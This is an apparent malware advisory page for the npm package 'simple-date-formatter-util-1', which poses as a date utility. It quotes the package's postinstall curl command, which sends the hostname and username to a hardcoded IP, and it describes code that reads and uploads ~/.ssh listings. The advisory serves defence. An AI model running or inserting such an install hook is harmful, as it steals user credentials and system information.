simple-date-formatter-util-1
Affected
- introduced
0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-mmc7-8pmj-h3xj
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in simple-date-formatter-util-1 (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (f633eec2e322fce0493ff996493eebe8036c628be4ab0caf4844928d6ccdf10f)
Package advertises itself as a date formatting utility but ships an active install-time exfiltration payload. package.json declares a postinstall hook curl http://124.221.154.135/pre?h=$(hostname)&u=$(whoami) that fires automatically on npm install, sending the installer's hostname and username over plaintext HTTP to a hardcoded bare IP. A shipped postinstall.js additionally reads the installer's ~/.ssh directory via fs.readdirSync(sshDir) and POSTs the listing along with username/platform to the same host 124.221.154.135. Source comments explicitly describe theft targets and C2/exfiltration behavior, confirming the mismatch between the advertised purpose and the actual behavior.
Source: ghsa-malware (cf71be7a588ae717e33fc9fe98c246a1037e8a38d385a18104a5c0fe8ff1f659)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source: ossf-package-analysis (8fbc767ae4319a00160dc56f05c82dc051f9fd8d66674de81372935f529ed241)
The OpenSSF Package Analysis project identified 'simple-date-formatter-util-1' @ 1.0.0 (npm) as malicious.
It is considered malicious because:
Not rated by the source.
0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0